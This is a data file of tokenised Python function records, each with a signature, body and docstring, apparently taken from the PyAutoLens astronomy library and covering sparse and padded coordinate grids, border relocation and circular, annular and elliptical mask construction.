{"signature": "def __new__(cls, arr, regular_to_nearest_pix, *args, **kwargs):", "body": "obj = arr.view(cls)<EOL>obj.regular_to_nearest_pix = regular_to_nearest_pix<EOL>obj.interpolator = None<EOL>return obj<EOL>", "docstring": "A pix-grid of (y,x) coordinates which are used to form the pixel centres of adaptive pixelizations in the \\\n        *pixelizations* module.\n\n        A *PixGrid* is ordered such pixels begin from the top-row of the mask and go rightwards and then \\\n        downwards. Therefore, it is a ndarray of shape [total_pix_pixels, 2]. The first element of the ndarray \\\n        thus corresponds to the pix pixel index and second element the y or x arc -econd coordinates. For example:\n\n        - pix_grid[3,0] = the 4th unmasked pixel's y-coordinate.\n        - pix_grid[6,1] = the 7th unmasked pixel's x-coordinate.\n\n        Parameters\n        -----------\n        pix_grid : ndarray\n            The grid of (y,x) arc-second coordinates of every image-plane pixelization grid used for adaptive source \\\n            -plane pixelizations.\n        regular_to_nearest_pix : ndarray\n            A 1D array that maps every regular-grid pixel to its nearest pix-grid pixel.", "id": "f5990:c3:m0"}
{"signature": "def __init__(self, unmasked_sparse_grid_shape, pixel_scales, regular_grid, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "self.shape = unmasked_sparse_grid_shape<EOL>self.origin = origin<EOL>self.total_unmasked_sparse_pixels = int(self.shape[<NUM_LIT:0>] * self.shape[<NUM_LIT:1>])<EOL>self.pixel_scales = pixel_scales<EOL>self.regular_grid = regular_grid<EOL>self.unmasked_sparse_grid = self.grid_1d<EOL>self.unmasked_sparse_grid_pixel_centres =regular_grid.mask.grid_arcsec_to_grid_pixel_centres(self.unmasked_sparse_grid)<EOL>self.total_sparse_pixels = mask_util.total_sparse_pixels_from_mask(<EOL>mask=self.regular_grid.mask,<EOL>unmasked_sparse_grid_pixel_centres=self.unmasked_sparse_grid_pixel_centres)<EOL>", "docstring": "A sparse grid of coordinates, where each entry corresponds to the (y,x) coordinates at the centre of a \\\n        pixel on the sparse grid. To setup the sparse-grid, it is laid over a regular-grid of unmasked pixels, such \\\n        that all sparse-grid pixels which map inside of an unmasked regular-grid pixel are included on the sparse grid.\n\n        To setup this sparse grid, we thus have two sparse grid_stack:\n\n        - The unmasked sparse-grid, which corresponds to a uniform 2D array of pixels. The edges of this grid \\\n          correspond to the 4 edges of the mask (e.g. the higher and lowest (y,x) arc-second unmasked pixels) and the \\\n          grid's shape is speciifed by the unmasked_sparse_grid_shape parameter.\n\n        - The (masked) sparse-grid, which is all pixels on the unmasked sparse-grid above which fall within unmasked \\\n          regular-grid pixels. These are the pixels which are actually used for other modules in PyAutoLens.\n\n        The origin of the unmasked sparse grid can be changed to allow off-center pairings with sparse-grid pixels, \\\n        which is necessary when a mask has a centre offset from (0.0\", 0.0\"). However, the sparse grid itself \\\n        retains an origin of (0.0\", 0.0\"), ensuring its arc-second grid uses the same coordinate system as the \\\n        other grid_stack.\n\n        The sparse grid is used to determine the pixel centers of an adaptive grid pixelization.\n\n        Parameters\n        ----------\n        unmasked_sparse_grid_shape : (int, int)\n            The shape of the unmasked sparse-grid whose centres form the sparse-grid.\n        pixel_scales : (float, float)\n            The pixel-to-arcsecond scale of a pixel in the y and x directions.\n        regular_grid : RegularGrid\n            The regular-grid used to determine which pixels are in the sparse grid.\n        origin : (float, float)\n            The centre of the unmasked sparse grid, which matches the centre of the mask.", "id": "f5990:c4:m0"}
{"signature": "@property<EOL><INDENT>def unmasked_sparse_to_sparse(self):<DEDENT>", "body": "return mapping_util.unmasked_sparse_to_sparse_from_mask_and_pixel_centres(<EOL>mask=self.regular_grid.mask,<EOL>unmasked_sparse_grid_pixel_centres=self.unmasked_sparse_grid_pixel_centres,<EOL>total_sparse_pixels=self.total_sparse_pixels).astype(<EOL>'<STR_LIT:int>')<EOL>", "docstring": "The 1D index mappings between the unmasked sparse-grid and masked sparse grid.", "id": "f5990:c4:m1"}
{"signature": "@property<EOL><INDENT>def sparse_to_unmasked_sparse(self):<DEDENT>", "body": "return mapping_util.sparse_to_unmasked_sparse_from_mask_and_pixel_centres(<EOL>total_sparse_pixels=self.total_sparse_pixels, mask=self.regular_grid.mask,<EOL>unmasked_sparse_grid_pixel_centres=self.unmasked_sparse_grid_pixel_centres).astype('<STR_LIT:int>')<EOL>", "docstring": "The 1D index mappings between the masked sparse-grid and unmasked sparse grid.", "id": "f5990:c4:m2"}
{"signature": "@property<EOL><INDENT>def regular_to_unmasked_sparse(self):<DEDENT>", "body": "return self.grid_arcsec_to_grid_pixel_indexes(grid_arcsec=self.regular_grid)<EOL>", "docstring": "The 1D index mapping between the regular-grid and unmasked sparse-grid.", "id": "f5990:c4:m3"}
{"signature": "@property<EOL><INDENT>def regular_to_sparse(self):<DEDENT>", "body": "return mapping_util.regular_to_sparse_from_sparse_mappings(<EOL>regular_to_unmasked_sparse=self.regular_to_unmasked_sparse,<EOL>unmasked_sparse_to_sparse=self.unmasked_sparse_to_sparse).astype('<STR_LIT:int>')<EOL>", "docstring": "The 1D index mappings between the regular-grid and masked sparse-grid.", "id": "f5990:c4:m4"}
{"signature": "@property<EOL><INDENT>def sparse_grid(self):<DEDENT>", "body": "return mapping_util.sparse_grid_from_unmasked_sparse_grid(<EOL>unmasked_sparse_grid=self.unmasked_sparse_grid,<EOL>sparse_to_unmasked_sparse=self.sparse_to_unmasked_sparse)<EOL>", "docstring": "The (y,x) arc-second coordinates of the masked sparse-grid.", "id": "f5990:c4:m5"}
{"signature": "def __new__(cls, arr, mask, image_shape, *args, **kwargs):", "body": "arr = arr.view(cls)<EOL>arr.mask = mask<EOL>arr.image_shape = image_shape<EOL>return arr<EOL>", "docstring": "A padded regular-grid stores the (y,x) arc-second coordinates of a 2D array, analogous to a *RegularGrid*. \\\n         Howeve, the padded grid deviates from a regular grid in that:\n\n        - All pixels are used to form the grid (as opposed to just masked pixels)\n        - The mask is padded when computing the grid, such that additional pixels beyond its edge are included. This \\\n          padding extends based on the size of the PSF kernel, such that PSF blurring effects at the edge of the \\\n          array do not degrade the image.\n\n        Padded-grid_stack are therefore used to compute quantities like light-profile intensities large 2D arrays \\\n        that span the entire image (as opposed to just the masked region).", "id": "f5990:c5:m0"}
{"signature": "@classmethod<EOL><INDENT>def padded_grid_from_shape_psf_shape_and_pixel_scale(cls, shape, psf_shape, pixel_scale):<DEDENT>", "body": "padded_shape = (shape[<NUM_LIT:0>] + psf_shape[<NUM_LIT:0>] - <NUM_LIT:1>, shape[<NUM_LIT:1>] + psf_shape[<NUM_LIT:1>] - <NUM_LIT:1>)<EOL>padded_regular_grid = grid_util.regular_grid_1d_masked_from_mask_pixel_scales_and_origin(<EOL>mask=np.full(padded_shape, False), pixel_scales=(pixel_scale, pixel_scale))<EOL>padded_mask = msk.Mask.unmasked_for_shape_and_pixel_scale(shape=padded_shape, pixel_scale=pixel_scale)<EOL>return PaddedRegularGrid(arr=padded_regular_grid, mask=padded_mask, image_shape=shape)<EOL>", "docstring": "Setup a regular padded grid from a 2D array shape, psf-shape and pixel-scale.\n\n        The center of every pixel is used to setup the grid's (y,x) arc-second coordinates, including padded pixels \\\n        which are beyond the input shape but will blurred light into the 2D array's shape due to the psf.\n\n        Parameters\n        ----------\n        shape : (int, int)\n            The (y,x) shape of the masked-grid's 2D image in units of pixels.\n        psf_shape : (int, int)\n           The shape of the psf which defines the blurring region and therefore size of padding.\n        pixel_scale : float\n            The scale of each pixel in arc seconds", "id": "f5990:c5:m2"}
{"signature": "def padded_blurred_image_2d_from_padded_image_1d_and_psf(self, padded_image_1d, psf):", "body": "padded_model_image_1d = self.convolve_array_1d_with_psf(padded_array_1d=padded_image_1d, psf=psf)<EOL>return self.scaled_array_2d_from_array_1d(array_1d=padded_model_image_1d)<EOL>", "docstring": "Compute a 2D padded blurred image from a 1D padded image.\n\n        Parameters\n        ----------\n        padded_image_1d : ndarray\n            A 1D unmasked image which is blurred with the PSF.\n        psf : ndarray\n            An array describing the PSF kernel of the image.", "id": "f5990:c5:m3"}
{"signature": "def array_2d_from_array_1d(self, padded_array_1d):", "body": "padded_array_2d = self.map_to_2d_keep_padded(padded_array_1d)<EOL>pad_size_0 = self.mask.shape[<NUM_LIT:0>] - self.image_shape[<NUM_LIT:0>]<EOL>pad_size_1 = self.mask.shape[<NUM_LIT:1>] - self.image_shape[<NUM_LIT:1>]<EOL>return (padded_array_2d[pad_size_0 // <NUM_LIT:2>:self.mask.shape[<NUM_LIT:0>] - pad_size_0 // <NUM_LIT:2>,<EOL>pad_size_1 // <NUM_LIT:2>:self.mask.shape[<NUM_LIT:1>] - pad_size_1 // <NUM_LIT:2>])<EOL>", "docstring": "Map a padded 1D array of values to its original 2D array, trimming all edge values.\n\n        Parameters\n        -----------\n        padded_array_1d : ndarray\n            A 1D array of values which were computed using the *PaddedRegularGrid*.", "id": "f5990:c5:m4"}
{"signature": "def map_to_2d_keep_padded(self, padded_array_1d):", "body": "return mapping_util.map_unmasked_1d_array_to_2d_array_from_array_1d_and_shape(array_1d=padded_array_1d,<EOL>shape=self.mask.shape)<EOL>", "docstring": "Map a padded 1D array of values to its padded 2D array.\n\n        Parameters\n        -----------\n        padded_array_1d : ndarray\n            A 1D array of values which were computed using the *PaddedRegularGrid*.", "id": "f5990:c5:m5"}
{"signature": "def __init__(self, arr, mask, image_shape, sub_grid_size=<NUM_LIT:1>):", "body": "super(PaddedSubGrid, self).__init__(arr, mask, sub_grid_size)<EOL>self.image_shape = image_shape<EOL>", "docstring": "A *PaddedSubGrid* stores the (y,x) arc-second coordinates of a mask's sub-pixels in 1D, in an analogous\n        fashion to a *SubGrid*. A *PaddedSubGrid* deviate from a normal grid in that:\n\n        - All pixels are used (as opposed to just masked pixels)\n        - The mask is masked when computing the grid, such that additional pixels beyond its edge are included.\n\n        Padded-grid_stack allow quantities like intensities to be computed on large 2D arrays spanning the entire\n        image, as opposed to just within the masked region.", "id": "f5990:c6:m0"}
{"signature": "@classmethod<EOL><INDENT>def padded_grid_from_mask_sub_grid_size_and_psf_shape(cls, mask, sub_grid_size, psf_shape):<DEDENT>", "body": "padded_shape = (mask.shape[<NUM_LIT:0>] + psf_shape[<NUM_LIT:0>] - <NUM_LIT:1>, mask.shape[<NUM_LIT:1>] + psf_shape[<NUM_LIT:1>] - <NUM_LIT:1>)<EOL>padded_sub_grid = grid_util.sub_grid_1d_masked_from_mask_pixel_scales_and_sub_grid_size(<EOL>mask=np.full(padded_shape, False), pixel_scales=mask.pixel_scales, sub_grid_size=sub_grid_size)<EOL>padded_mask = msk.Mask.unmasked_for_shape_and_pixel_scale(shape=padded_shape, pixel_scale=mask.pixel_scale)<EOL>return PaddedSubGrid(arr=padded_sub_grid, mask=padded_mask, image_shape=mask.shape,<EOL>sub_grid_size=sub_grid_size)<EOL>", "docstring": "Setup an *PaddedSubGrid* for an input mask, sub-grid size and psf-shape.\n\n        The center of every sub-pixel is used to setup the grid's (y,x) arc-second coordinates, including \\\n        masked-pixels which are beyond the input shape but will have light blurred into them given the psf-shape.\n\n        Parameters\n        ----------\n        mask : Mask\n            The mask whose masked pixels are used to setup the sub-pixel grid_stack.\n        sub_grid_size : int\n            The size (sub_grid_size x sub_grid_size) of each image-pixels sub-grid.\n        psf_shape : (int, int)\n           The shape of the psf which defines the blurring region and therefore size of padding.", "id": "f5990:c6:m1"}
{"signature": "def __new__(cls, arr, *args, **kwargs):", "body": "border = arr.view(cls)<EOL>return border<EOL>", "docstring": "The borders of a regular grid, containing the pixel-index's of all masked pixels that are on the \\\n        mask's border (e.g. they are next to a *True* value in at least one of the surrounding 8 pixels and at one of \\\n        the exterior edge's of the mask).\n\n        This is used to relocate demagnified pixel's in a grid to its border, so that they do not disrupt an \\\n        adaptive pixelization's inversion.\n\n        Parameters\n        -----------\n        arr : ndarray\n            A 1D array of the integer indexes of an *RegularGrid*'s borders pixels.", "id": "f5990:c7:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_mask(cls, mask):<DEDENT>", "body": "return cls(mask.border_pixels)<EOL>", "docstring": "Setup the regular-grid border using a mask.\n\n        Parameters\n        -----------\n        mask : Mask\n            The mask the masked borders pixel index's are computed from.", "id": "f5990:c7:m1"}
{"signature": "def relocated_grid_stack_from_grid_stack(self, grid_stack):", "body": "border_grid = grid_stack.regular[self]<EOL>return GridStack(regular=self.relocated_grid_from_grid_jit(grid=grid_stack.regular, border_grid=border_grid),<EOL>sub=self.relocated_grid_from_grid_jit(grid=grid_stack.sub, border_grid=border_grid),<EOL>blurring=None,<EOL>pix=self.relocated_grid_from_grid_jit(grid=grid_stack.pix, border_grid=border_grid))<EOL>", "docstring": "Determine a set of relocated grid_stack from an input set of grid_stack, by relocating their pixels based on the \\\n        borders.\n\n        The blurring-grid does not have its coordinates relocated, as it is only used for computing analytic \\\n        light-profiles and not inversion-grid_stack.\n\n        Parameters\n        -----------\n        grid_stack : GridStack\n            The grid-stack, whose grid_stack coordinates are relocated.", "id": "f5990:c7:m2"}
{"signature": "@staticmethod<EOL><INDENT>@decorator_util.jit()<EOL>def relocated_grid_from_grid_jit(grid, border_grid):<DEDENT>", "body": "border_origin = np.zeros(<NUM_LIT:2>)<EOL>border_origin[<NUM_LIT:0>] = np.mean(border_grid[:, <NUM_LIT:0>])<EOL>border_origin[<NUM_LIT:1>] = np.mean(border_grid[:, <NUM_LIT:1>])<EOL>border_grid_radii = np.sqrt(np.add(np.square(np.subtract(border_grid[:, <NUM_LIT:0>], border_origin[<NUM_LIT:0>])),<EOL>np.square(np.subtract(border_grid[:, <NUM_LIT:1>], border_origin[<NUM_LIT:1>]))))<EOL>border_min_radii = np.min(border_grid_radii)<EOL>grid_radii = np.sqrt(np.add(np.square(np.subtract(grid[:, <NUM_LIT:0>], border_origin[<NUM_LIT:0>])),<EOL>np.square(np.subtract(grid[:, <NUM_LIT:1>], border_origin[<NUM_LIT:1>]))))<EOL>for pixel_index in range(grid.shape[<NUM_LIT:0>]):<EOL><INDENT>if grid_radii[pixel_index] > border_min_radii:<EOL><INDENT>closest_pixel_index = np.argmin(np.square(grid[pixel_index, <NUM_LIT:0>] - border_grid[:, <NUM_LIT:0>]) +<EOL>np.square(grid[pixel_index, <NUM_LIT:1>] - border_grid[:, <NUM_LIT:1>]))<EOL>move_factor = border_grid_radii[closest_pixel_index] / grid_radii[pixel_index]<EOL>if move_factor < <NUM_LIT:1.0>:<EOL><INDENT>grid[pixel_index, :] = move_factor * (grid[pixel_index, :] - border_origin[:]) + border_origin[:]<EOL><DEDENT><DEDENT><DEDENT>return grid<EOL>", "docstring": "Relocate the coordinates of a grid to its border if they are outside the border. This is performed as \\\n        follows:\n\n        1) Use the mean value of the grid's y and x coordinates to determine the origin of the grid.\n        2) Compute the radial distance of every grid coordinate from the origin.\n        3) For every coordinate, find its nearest pixel in the border.\n        4) Determine if it is outside the border, by comparing its radial distance from the origin to its paid \\\n           border pixel's radial distance.\n        5) If its radial distance is larger, use the ratio of radial distances to move the coordinate to the border \\\n           (if its inside the border, do nothing).", "id": "f5990:c7:m3"}
{"signature": "def __init__(self, array, pixel_scale, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "<EOL>super(Mask, self).__init__(array=array, pixel_scale=pixel_scale, origin=origin)<EOL>", "docstring": "A mask, which is applied to a 2D array of hyper to extract a set of unmasked image pixels (i.e. mask entry \\\n        is *False* or 0) which are then fitted in an analysis.\n\n        The mask retains the pixel scale of the array and has a centre and origin.\n\n        Parameters\n        ----------\n        array: ndarray\n            An array of bools representing the mask.\n        pixel_scale: float\n            The arc-second to pixel conversion factor of each pixel.\n        origin : (float, float)\n            The (y,x) arc-second origin of the mask's coordinate system.\n        centre : (float, float)\n            The (y,x) arc-second centre of the mask provided it is a standard geometric shape (e.g. a circle).", "id": "f5991:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def unmasked_for_shape_and_pixel_scale(cls, shape, pixel_scale, invert=False):<DEDENT>", "body": "mask = np.full(tuple(map(lambda d: int(d), shape)), False)<EOL>if invert: mask = np.invert(mask)<EOL>return cls(array=mask, pixel_scale=pixel_scale)<EOL>", "docstring": "Setup a mask where all pixels are unmasked.\n\n        Parameters\n        ----------\n        shape : (int, int)\n            The (y,x) shape of the mask in units of pixels.\n        pixel_scale: float\n            The arc-second to pixel conversion factor of each pixel.", "id": "f5991:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def circular(cls, shape, pixel_scale, radius_arcsec, centre=(<NUM_LIT:0.>, <NUM_LIT:0.>), invert=False):<DEDENT>", "body": "mask = mask_util.mask_circular_from_shape_pixel_scale_and_radius(shape, pixel_scale, radius_arcsec,<EOL>centre)<EOL>if invert: mask = np.invert(mask)<EOL>return cls(array=mask.astype('<STR_LIT:bool>'), pixel_scale=pixel_scale)<EOL>", "docstring": "Setup a mask where unmasked pixels are within a circle of an input arc second radius and centre.\n\n        Parameters\n        ----------\n        shape: (int, int)\n            The (y,x) shape of the mask in units of pixels.\n        pixel_scale: float\n            The arc-second to pixel conversion factor of each pixel.\n        radius_arcsec : float\n            The radius (in arc seconds) of the circle within which pixels unmasked.\n        centre: (float, float)\n            The centre of the circle used to mask pixels.", "id": "f5991:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def circular_annular(cls, shape, pixel_scale, inner_radius_arcsec, outer_radius_arcsec, centre=(<NUM_LIT:0.>, <NUM_LIT:0.>),<EOL>invert=False):<DEDENT>", "body": "mask = mask_util.mask_circular_annular_from_shape_pixel_scale_and_radii(shape, pixel_scale, inner_radius_arcsec,<EOL>outer_radius_arcsec, centre)<EOL>if invert: mask = np.invert(mask)<EOL>return cls(array=mask.astype('<STR_LIT:bool>'), pixel_scale=pixel_scale)<EOL>", "docstring": "Setup a mask where unmasked pixels are within an annulus of input inner and outer arc second radii and \\\n         centre.\n\n        Parameters\n        ----------\n        shape : (int, int)\n            The (y,x) shape of the mask in units of pixels.\n        pixel_scale: float\n            The arc-second to pixel conversion factor of each pixel.\n        inner_radius_arcsec : float\n            The radius (in arc seconds) of the inner circle outside of which pixels are unmasked.\n        outer_radius_arcsec : float\n            The radius (in arc seconds) of the outer circle within which pixels are unmasked.\n        centre: (float, float)\n            The centre of the annulus used to mask pixels.", "id": "f5991:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def circular_anti_annular(cls, shape, pixel_scale, inner_radius_arcsec, outer_radius_arcsec, outer_radius_2_arcsec,<EOL>centre=(<NUM_LIT:0.>, <NUM_LIT:0.>), invert=False):<DEDENT>", "body": "mask = mask_util.mask_circular_anti_annular_from_shape_pixel_scale_and_radii(shape, pixel_scale, inner_radius_arcsec,<EOL>outer_radius_arcsec,<EOL>outer_radius_2_arcsec, centre)<EOL>if invert: mask = np.invert(mask)<EOL>return cls(array=mask.astype('<STR_LIT:bool>'), pixel_scale=pixel_scale)<EOL>", "docstring": "Setup a mask where unmasked pixels are outside an annulus of input inner and outer arc second radii, but \\\n        within a second outer radius, and at a given centre.\n\n        This mask there has two distinct unmasked regions (an inner circle and outer annulus), with an inner annulus \\\n        of masked pixels.\n\n        Parameters\n        ----------\n        shape : (int, int)\n            The (y,x) shape of the mask in units of pixels.\n        pixel_scale: float\n            The arc-second to pixel conversion factor of each pixel.\n        inner_radius_arcsec : float\n            The radius (in arc seconds) of the inner circle inside of which pixels are unmasked.\n        outer_radius_arcsec : float\n            The radius (in arc seconds) of the outer circle within which pixels are masked and outside of which they \\\n            are unmasked.\n        outer_radius_2_arcsec : float\n            The radius (in arc seconds) of the second outer circle within which pixels are unmasked and outside of \\\n            which they masked.\n        centre: (float, float)\n            The centre of the anti-annulus used to mask pixels.", "id": "f5991:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def elliptical(cls, shape, pixel_scale, major_axis_radius_arcsec, axis_ratio, phi, centre=(<NUM_LIT:0.>, <NUM_LIT:0.>),<EOL>invert=False):<DEDENT>", "body": "mask = mask_util.mask_elliptical_from_shape_pixel_scale_and_radius(shape, pixel_scale, major_axis_radius_arcsec,<EOL>axis_ratio, phi, centre)<EOL>if invert: mask = np.invert(mask)<EOL>return cls(array=mask.astype('<STR_LIT:bool>'), pixel_scale=pixel_scale)<EOL>", "docstring": "Setup a mask where unmasked pixels are within an ellipse of an input arc second major-axis and centre.\n\n        Parameters\n        ----------\n        shape: (int, int)\n            The (y,x) shape of the mask in units of pixels.\n        pixel_scale: float\n            The arc-second to pixel conversion factor of each pixel.\n        major_axis_radius_arcsec : float\n            The major-axis (in arc seconds) of the ellipse within which pixels are unmasked.\n        axis_ratio : float\n            The axis-ratio of the ellipse within which pixels are unmasked.\n        phi : float\n            The rotation angle of the ellipse within which pixels are unmasked, (counter-clockwise from the positive \\\n             x-axis).\n        centre: (float, float)\n            The centre of the ellipse used to mask pixels.", "id": "f5991:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def elliptical_annular(cls, shape, pixel_scale,inner_major_axis_radius_arcsec, inner_axis_ratio, inner_phi,<EOL>outer_major_axis_radius_arcsec, outer_axis_ratio, outer_phi, centre=(<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>invert=False):<DEDENT>", "body": "mask = mask_util.mask_elliptical_annular_from_shape_pixel_scale_and_radius(shape, pixel_scale,<EOL>inner_major_axis_radius_arcsec, inner_axis_ratio, inner_phi,<EOL>outer_major_axis_radius_arcsec, outer_axis_ratio, outer_phi, centre)<EOL>if invert: mask = np.invert(mask)<EOL>return cls(array=mask.astype('<STR_LIT:bool>'), pixel_scale=pixel_scale)<EOL>", "docstring": "Setup a mask where unmasked pixels are within an elliptical annulus of input inner and outer arc second \\\n        major-axis and centre.\n\n        Parameters\n        ----------\n        shape: (int, int)\n            The (y,x) shape of the mask in units of pixels.\n        pixel_scale: float\n            The arc-second to pixel conversion factor of each pixel.\n        inner_major_axis_radius_arcsec : float\n            The major-axis (in arc seconds) of the inner ellipse within which pixels are masked.\n        inner_axis_ratio : float\n            The axis-ratio of the inner ellipse within which pixels are masked.\n        inner_phi : float\n            The rotation angle of the inner ellipse within which pixels are masked, (counter-clockwise from the \\\n            positive x-axis).\n        outer_major_axis_radius_arcsec : float\n            The major-axis (in arc seconds) of the outer ellipse within which pixels are unmasked.\n        outer_axis_ratio : float\n            The axis-ratio of the outer ellipse within which pixels are unmasked.\n        outer_phi : float\n            The rotation angle of the outer ellipse within which pixels are unmasked, (counter-clockwise from the \\\n            positive x-axis).\n        centre: (float, float)\n            The centre of the elliptical annuli used to mask pixels.", "id": "f5991:c0:m8"}
{"signature": "@property<EOL><INDENT>def masked_grid_index_to_pixel(self):<DEDENT>", "body": "return mask_util.masked_grid_1d_index_to_2d_pixel_index_from_mask(self).astype('<STR_LIT:int>')<EOL>", "docstring": "A 1D array of mappings between every unmasked pixel and its 2D pixel coordinates.", "id": "f5991:c0:m12"}
{"signature": "def masked_sub_grid_index_to_sub_pixel(self, sub_grid_size):", "body": "return mask_util.masked_sub_grid_1d_index_to_2d_sub_pixel_index_from_mask(<EOL>self, sub_grid_size=sub_grid_size).astype('<STR_LIT:int>')<EOL>", "docstring": "A 1D array of mappings between every unmasked sub pixel and its 2D sub-pixel coordinates.", "id": "f5991:c0:m13"}
{"signature": "def map_2d_array_to_masked_1d_array(self, array_2d):", "body": "if array_2d is None or isinstance(array_2d, float):<EOL><INDENT>return array_2d<EOL><DEDENT>return mapping_util.map_2d_array_to_masked_1d_array_from_array_2d_and_mask(self, array_2d)<EOL>", "docstring": "For a 2D array (e.g. an image, noise_map, etc.) map it to a masked 1D array of valuees using this mask.\n\n        Parameters\n        ----------\n        array_2d : ndarray | None | float\n            The 2D array to be mapped to a masked 1D array.", "id": "f5991:c0:m14"}
{"signature": "@array_util.Memoizer()<EOL><INDENT>def blurring_mask_for_psf_shape(self, psf_shape):<DEDENT>", "body": "if psf_shape[<NUM_LIT:0>] % <NUM_LIT:2> == <NUM_LIT:0> or psf_shape[<NUM_LIT:1>] % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>raise exc.MaskException(\"<STR_LIT>\")<EOL><DEDENT>blurring_mask = mask_util.mask_blurring_from_mask_and_psf_shape(self, psf_shape)<EOL>return Mask(blurring_mask, self.pixel_scale)<EOL>", "docstring": "Compute a blurring mask, which represents all masked pixels whose light will be blurred into unmasked \\\n        pixels via PSF convolution (see grid_stack.RegularGrid.blurring_grid_from_mask_and_psf_shape).\n\n        Parameters\n        ----------\n        psf_shape : (int, int)\n           The shape of the psf which defines the blurring region (e.g. the shape of the PSF)", "id": "f5991:c0:m15"}
{"signature": "@property<EOL><INDENT>def edge_pixels(self):<DEDENT>", "body": "return mask_util.edge_pixels_from_mask(self).astype('<STR_LIT:int>')<EOL>", "docstring": "The indicies of the mask's edge pixels, where an edge pixel is any unmasked pixel on its edge \\\n        (next to at least one pixel with a *True* value).", "id": "f5991:c0:m16"}
{"signature": "@property<EOL><INDENT>def border_pixels(self):<DEDENT>", "body": "return mask_util.border_pixels_from_mask(self).astype('<STR_LIT:int>')<EOL>", "docstring": "The indicies of the mask's border pixels, where a border pixel is any unmasked pixel on an\n        exterior edge (e.g. next to at least one pixel with a *True* value but not central pixels like those within \\\n        an annulus mask).", "id": "f5991:c0:m17"}
{"signature": "@property<EOL><INDENT>def zoom_region(self):<DEDENT>", "body": "<EOL>where = np.array(np.where(np.invert(self.astype('<STR_LIT:bool>'))))<EOL>y0, x0 = np.amin(where, axis=<NUM_LIT:1>)<EOL>y1, x1 = np.amax(where, axis=<NUM_LIT:1>)<EOL>return [y0, y1+<NUM_LIT:1>, x0, x1+<NUM_LIT:1>]<EOL>", "docstring": "The zoomed rectangular region corresponding to the square encompassing all unmasked values.\n\n        This is used to zoom in on the region of an image that is used in an analysis for visualization.", "id": "f5991:c0:m22"}
{"signature": "@decorator_util.jit()<EOL>def centres_from_shape_pixel_scales_and_origin(shape, pixel_scales, origin):", "body": "y_centre_arcsec = float(shape[<NUM_LIT:0>] - <NUM_LIT:1>) / <NUM_LIT:2> + (origin[<NUM_LIT:0>] / pixel_scales[<NUM_LIT:0>])<EOL>x_centre_arcsec = float(shape[<NUM_LIT:1>] - <NUM_LIT:1>) / <NUM_LIT:2> - (origin[<NUM_LIT:1>] / pixel_scales[<NUM_LIT:1>])<EOL>return (y_centre_arcsec, x_centre_arcsec)<EOL>", "docstring": "Determine the (y,x) arc-second central coordinates of an array from its shape, pixel-scales and origin.\n\n     The coordinate system is defined such that the positive y axis is up and positive x axis is right.\n\n    Parameters\n     ----------\n    shape : (int, int)\n        The (y,x) shape of the 2D array the arc-second centre is computed for.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the 2D array.\n    origin : (float, flloat)\n        The (y,x) origin of the 2D array, which the centre is shifted to.\n\n    Returns\n    --------\n    tuple (float, float)\n        The (y,x) arc-second central coordinates of the input array.\n\n    Examples\n    --------\n    centres_arcsec = centres_from_shape_pixel_scales_and_origin(shape=(5,5), pixel_scales=(0.5, 0.5), origin=(0.0, 0.0))", "id": "f5992:m0"}
{"signature": "@decorator_util.jit()<EOL>def regular_grid_2d_from_shape_pixel_scales_and_origin(shape, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "regular_grid_2d = np.zeros((shape[<NUM_LIT:0>], shape[<NUM_LIT:1>], <NUM_LIT:2>))<EOL>centres_arcsec = centres_from_shape_pixel_scales_and_origin(shape=shape, pixel_scales=pixel_scales, origin=origin)<EOL>for y in range(shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(shape[<NUM_LIT:1>]):<EOL><INDENT>regular_grid_2d[y, x, <NUM_LIT:0>] = -(y - centres_arcsec[<NUM_LIT:0>]) * pixel_scales[<NUM_LIT:0>]<EOL>regular_grid_2d[y, x, <NUM_LIT:1>] = (x - centres_arcsec[<NUM_LIT:1>]) * pixel_scales[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return regular_grid_2d<EOL>", "docstring": "Compute the (y,x) arc second coordinates at the centre of every pixel of an array of shape (rows, columns).\n\n    Coordinates are defined from the top-left corner, such that the first pixel at location [0, 0] has negative x \\\n    and y values in arc seconds.\n\n    The regular grid is returned on an array of shape (total_pixels, total_pixels, 2) where coordinate indexes match \\\n    those of the original 2D array. y coordinates are stored in the 0 index of the third dimension, x coordinates in \\\n    the 1 index.\n\n    Parameters\n     ----------\n    shape : (int, int)\n        The (y,x) shape of the 2D array the regular grid of coordinates is computed for.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the 2D array.\n    origin : (float, flloat)\n        The (y,x) origin of the 2D array, which the regular grid is shifted around.\n\n    Returns\n    --------\n    ndarray\n        A regular grid of (y,x) arc-second coordinates at the centre of every pixel on a 2D array. The regular grid \\\n        array has dimensions (total_pixels, total_pixels, 2).\n\n    Examples\n    --------\n    regular_grid_1d = regular_grid_2d_from_shape_pixel_scales_and_origin(shape=(5,5), pixel_scales=(0.5, 0.5), \\\n                                                                      origin=(0.0, 0.0))", "id": "f5992:m1"}
